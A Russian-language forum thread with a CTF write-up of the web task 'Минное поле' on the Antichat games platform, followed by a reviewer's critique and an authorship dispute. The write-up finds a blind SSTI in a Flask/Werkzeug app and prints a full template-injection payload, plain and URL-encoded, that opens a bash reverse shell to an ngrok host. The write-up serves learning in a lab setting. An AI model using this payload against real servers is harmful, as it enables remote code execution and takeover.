ANTICHAT

ANTICHAT (https://forum.antichat.xyz/index.php)
-   Задания/Квесты/CTF/Конкурсы (https://forum.antichat.xyz/forumdisplay.php?f=112)
-   -   Минное поле [Writeup] (https://forum.antichat.xyz/showthread.php?t=1642824)

vov4ick 26.12.2023 22:43

Слепая SSTI - Опасные Шаги по Минному Полю

https://forum.antichat.xyz/attachmen...b5a6dfa8f9.png

- Приветствие
- Поиск точки входа
- Получение реверс шелла
- Заключение

Приветствую читателей форума и любителей СTF Antichat.games, сегодня мы рассмотрим таск Минное Поле из категории Веб.
Думаю многие в восторге от этой площадки, и я в том числе.

Поиск точки входа
Первое что мы видим попадая на сайт, это игра сапер, поле с ячейками нажимая на которые мы получаем информацию - Неизвестный идентификатор мяча

https://forum.antichat.xyz/attachmen...ac70cf6c8f.png

Мы так же видим параметр ballooon=0 , в данном случае это номер ячейки. Щелкая по ним мы понимаем что поле состоит
из 400 ячеек. Мы можем пофазить эти значения сразу и найти что то интересное. Сделаем мы это в Burp , щелкаем по ячейке,
ловим запрос и отправляем это в Intruder.

https://forum.antichat.xyz/attachmen...f850b6e560.png

Там мы добавляем нагрузку на наше значение, а в payloads выбираем Numbers и число 400 :

https://forum.antichat.xyz/attachmen...477486387f.png

И нажимаем Start attack. После запуска мы найдем что искали:
Длинна ответа отличается от остальных. Значит это то, что нам нужно.

https://forum.antichat.xyz/attachmen...9145bfa604.png

Подставив это число в наш параметр мы увидим:
Поздравляю! Вы нашли секретный воздушный шар №337, Хм..

https://forum.antichat.xyz/attachmen...3e028c1749.png

При отправке запроса в Repeater мы видим надпись Server: Werkzeug/2.3.7 Python/3.9.18

https://forum.antichat.xyz/attachmen...079b90f6df.png

Начинаем гуглить:

https://forum.antichat.xyz/attachmen...24e8ed9108.png

Это подарок на самом деле, здесь мы понимаем велика вероятность что это ssti.
При подстановке {{300%2b37}} вместо числа 337 мы получаем тот же результат.
Но получить конфиг или что то другое не получается. Здесь мы понимаем что это слепая ssti.
Нам нужно получить RCE, можно воспользоваться ламерскими программами которые делают это очень просто,
но мы не ищем легких путей.

Получение реверс шелла:
Запускаем Ngrok

https://forum.antichat.xyz/attachmen...60b023fad0.png

https://forum.antichat.xyz/attachmen...b5401b8566.png

Включаем слушатель:

https://forum.antichat.xyz/attachmen...caa62aa6e8.png

В самом burp мы можем отправить запрос в Repeater и там вставить нашу нагрузку в наш параметр balloon= , выглядеть она будет так:
{{self.__init__.__globals__.__builtins__.__import_ _('os').popen('/bin/bash -c 'bash -i >& /dev/tcp/6.tcp.eu.ngrok.io/14362 0>&1'').read()}}

Только в нашем случае нужно сделать url encode:
{{self.__init__.__globals__.__builtins__.__import_ _(%27os%27).popen(%22%2f%62%69%6e%2f%62%61%73%68%2 0%2d%63%20%27%62%61%73%68%20%2d%69%20%3e%26%20%2f% 64%65%76%2f%74%63%70%2f%36%2e%74%63%70%2e%65%75%2e %6e%67%72%6f%6b%2e%69%6f%2f%31%34%33%36%32%20%30%3 e%26%31%27%22).read()}}

Далее мы просто отправляем запрос :

https://forum.antichat.xyz/attachmen...1d7cbcb85e.png

Бинго! Мы получили наш шелл. Осталось найти флаг, демонстрировать я этого не буду. Он лежит на поверхности, смотрите основную директорию командой ls -la и ищите нужный файл.

Заключение:
Получение RCE через уязвимость SSTI в данном случае говорит о серьезности и опасности этого вектора.
Удаленное выполнение кода - является одной из наиболее серьезных угроз для системы, так как позволяет злоумышленнику выполнить произвольный код на сервере.
Это подчеркивает необходимость тщательной проверки и обработки входных данных, а также безопасности использования шаблонов.

Paladin 26.12.2023 23:12

Цитата:


vov4ick сказал(а):

Слепая SSTI - Опасные Шаги по Минному Полю

Приветствую читателей форума и любителей СTF Antichat.games, сегодня мы рассмотрим таск Минное Поле из категории Веб.
Первое что мы видим это игра сапер, поле с ячейками нажимая на которые появляется надпись:

Мы так же видим параметр ballooon=0 , в данном случае это номер ячейки. Щелкая по ним мы понимаем что поле состоит
из 400 ячеек. Мы можем пофазить эти значения сразу и найти что то интересное. Сделаем мы это в Burp , щелкаем по ячейке, ловим запрос и отправляем
это в интрудер.

Там мы добавляем нагрузку на наше значение, а в payloads выбираем Numbers и число 400 :

И нажимаем Start attack. После запуска мы найдем что искали:
Длинна ответа отличается от остальных. Значит это то, что нам нужно.

Подставив это число в наш параметр мы увидим:
Поздравляю! Вы нашли секретный воздушный шар №337, Хм..

При отправке запроса в рипитер мы видим надпись Server: Werkzeug/2.3.7 Python/3.9.18

Начинаем гуглить:

Это подарок на самом деле, здесь мы понимаем велика вероятность что это ssti.
При подстановке {{300%2b37}} вместо числа 337 мы получаем тот же результат.
Но получить конфиг или что то другое не получается. Здесь мы понимаем что это слепая ssti.
Нам нужно получить RCE в данном случае, и как можно проще. В данном случае я воспользовался SSTIMAP.

Здесь подробно описано что нам доступно, а что нет. OS shell нам ничего не даст в данном случае при слепой технике, а вот реверс шелл то что нам нужно!

Настраиваем Ngrok и вешаем прослушку

Это будет наш ip и port
Далее прописываем команду и получаем наш шелл.

Оказалось не так сложно. Далее нам нужно найти флаг, показывать я это не буду. Но не уходите в дебри, смотрите основную директорию командой ls -la и ищите нужный файл.
Решений данного таска и инструментов для этого может быть множество, я лишь показал возможный сценарий.
Спасибо за внимание , создателем тасков отдельное спасибо.


Вовчик, вы меня извините, но довольно слабый WRITE-UP. Не написано, как вы получили шелл. Вот ваш предыдущий райтап Antichat - Antichat - Заметки [Writeup], где все хорошо прописано. Переделайте этот и я его оценю.

vov4ick 26.12.2023 23:17

Цитата:


Paladin сказал(а):

Вовчик, вы меня извините, но довольно слабый WRITE-UP. Вы решили этот таск благодаря статье, которую я накануне написал. Не написано, как вы получили шелл. Вот ваш предыдущий райтап Antichat - Antichat - Заметки [Writeup], где все хорошо прописано. Переделайте этот и я его оценю.


Я лично не опирался на вашу статью. Прочитал ее после прохождения данного таска. По этому тыкать меня этим не лучший способ показать что мой врайтап слабый.

Paladin 26.12.2023 23:21

Цитата:


vov4ick сказал(а):

Я лично не опирался на вашу статью. Прочитал ее после прохождения данного таска


Я акцентировал внимание не на этом. Как вы получили шелл? В ссылке ваш предыдущий райтап написан куда лучше. Давайте доведем этот до ума

vov4ick 27.12.2023 01:42

Цитата:


Paladin сказал(а):

Я акцентировал внимание не на этом. Как вы получили шелл? В ссылке ваш предыдущий райтап написан куда лучше. Давайте довед


Цитата:


Paladin сказал(а):

Я акцентировал внимание не на этом. Как вы получили шелл? В ссылке ваш предыдущий райтап написан куда лучше. Давайте доведем этот до ума


Я исправил данную статью, спасибо за то, что мотивируете стараться и делать лучше. В прошлом сообщении вы сослались на вашу статью, и именно указали что я решил таск благодаря ей. Это голословно. Таск был решен до выхода статьи, и я готов отстаивать это. Мне не приятен этот факт с вашей стороны. С качеством статьи соглашусь и впредь буду уделять больше времени на написание.


Время: 05:52